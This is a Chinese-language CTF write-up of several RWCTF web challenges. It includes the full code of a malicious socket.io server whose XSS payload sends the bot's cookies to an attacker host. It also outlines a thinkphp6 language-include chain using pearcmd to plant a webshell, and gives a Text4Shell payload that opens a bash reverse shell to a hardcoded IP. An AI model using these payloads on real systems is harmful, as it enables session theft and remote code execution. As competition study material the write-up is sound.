rwctf 部分wp

chatwuu

基于ws的聊天室,有后台bot,仅可以向bot提交聊天室的url,flag在bot的cookie里。

evil connect

在 index.html中

 1let query = new URLSearchParams(location.search),
 2        nickname = query.get('nickname'),
 3        room = query.get('room');
 4    if (!nickname || !room) {
 5        reset();
 6    }
 7    for (let k of query.keys()) {
 8        if (!['nickname', 'room'].includes(k)) {
 9            reset();
10        }
11    }
12    document.title += ' - ' + room;
13    let socket = io(`/${location.search}`),
14        messages = document.getElementById('messages'),
15        form = document.getElementById('form'),
16        input = document.getElementById('input');

主要的代码就是这里

1let socket = io(`/${location.search}`)

其本意是让浏览器向server发起ws连接,但因为这个的参数内容可控 与绕过ssrf一些域名检测的方法类似,使用xxx@host来绕过 即可以收到来自客户端的请求

这个时候,说明我们可以控制客户端连接的chat server

DOMPurify

默认有两个房间,一个textContent,没办法执行,但DOMPurify可以

1        if (room === 'DOMPurify') {
2            io.to(room).emit('msg', {
3                from: DOMPurify.sanitize(msg.from),
4                text: DOMPurify.sanitize(msg.text),
5                isHtml: true
6            });

可以看到isHtml为true 但是这里使用了DOMPurify来过滤危险的html代码,所以第一时间想到的考点是对DOMPurify的过滤 但其实并不是,我们执行要让客户端连接我们的恶意server就可以绕过该限制

思路

通过提交一个特殊参数的url,使bot在访问聊天室的时候,聊天室连接的服务器为我们的恶意服务器,即 http://xxxxx:58000/?room=DOMPurify&nickname=r1gelx@xx.rigelx.top:43919 这里控制nickname 使得客户端连接我们的恶意服务器,以便于我们发送不经过DOMPurify的payload。然后通过DOMPurify的房间得到了为true的isHtml参数,于是在客户端会把拿到的payload当作html执行。 过程就是,提交恶意参数,使bot访问题目可执行html和js的聊天室,然后经过location.serach访问到恶意的chat服务器,由服务器向客户端返回恶意代码,然后在客户端执行,外带cookie

evil server

因为CORS的原因,所以不能简单的修改题目代码 修改CORS

1const cors = require('cors')
2const cors_options = {
3	origin: "*"
4	optionsSuccessStatus: 200
5}

完整代码

 1const app = require('express')();
 2const http = require('http').Server(app)
 3const cors = require('cors')
 4
 5const io = require('socket.io')(http,{
 6cors: {
 7	origin: "*"
 8}
 9})
10
11const cors_options = {
12	origin: "*",
13	optionsSuccessStatus: 200
14}
15
16app.get('/',cors(cors_options),(req, res)=>{
17	console.log(req.query)
18});
19
20io.on('connection',(socket)=>{
21	console.log("connect ok")
22	let {room} = socket.handshake.query;
23	socket.join(room);
24	io.to(room).emit('msg', {
25		from: 'R1gelX',
26		text: '<img src=x onerror="document.location=\'http://x.rigelx.top:43919/?\'+document.cookie;">',
27		isHtml: true
28	});
29});
30const hostname = '0.0.0.0';
31const port = 43919;
32http.listen(port, hostname,()=>{
33	console.log(`ChatUWU malicious server running at http://${hostname}:${port}/`);
34})

即可在监听端接收到flag 提交即可

Be-a-Language-Expert

thinkphp6的多语言模块包含,先包含pearcmd往tmp下写马子,然后再包含执行

ApacheCommandText

text4shell;过滤了 script file url dns 利用base64Decoder去绕过 反弹shell失败,是runtime.exec()的问题 所以payload:

1${script:javascript:java.lang.Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/49.235.109.5/8898 0>&1");}

然后base64后放入${base64Decoder:xxxx} 就行了。